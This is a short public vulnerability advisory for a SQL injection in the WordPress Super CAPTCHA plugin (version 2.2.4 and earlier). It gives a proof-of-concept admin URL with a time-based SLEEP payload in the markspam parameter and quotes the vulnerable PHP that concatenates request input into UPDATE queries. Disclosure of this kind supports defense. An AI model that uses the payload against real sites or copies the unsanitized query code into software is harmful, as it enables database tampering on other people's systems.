WordPress Plugin Super CAPTCHA 2.2.4 - SQL Injection

# Exploit Title: WordPress Super CAPTCHA plugin <= 2.2.4 SQL Injection Vulnerability
# Date: 2011-08-26
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/super-capcha.2.2.4.zip
# Version: 2.2.4 (tested)
# Notes: user has to be logged in as "admin" and magic_quotes has to be turned off

---
PoC
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http://www.site.com/wp-admin/admin.php?page=super-captcha/Logs&markspam=-1' OR SLEEP(5)--%20

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Vulnerable code
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if(isset($_REQUEST['markspam']))
    {
    global $wpdb;
    $UIDs = explode(',', $_REQUEST['markspam']);
    echo('<h2>Accounts Flagged</h2>');
    for($i=0;$i<count($UIDs);$i++)
        {
        mysql_query("UPDATE `". $wpdb->users ."` SET `spam`='1' WHERE `ID`='". $UIDs[$i] ."'");
        mysql_query("UPDATE `". $wpdb->users ."` SET `user_status`='1' WHERE `ID`='". $UIDs[$i] ."'");
        echo('<em>USER ID: '. $UIDs[$i] .' marked as spammer.</em><br />');
        }
    }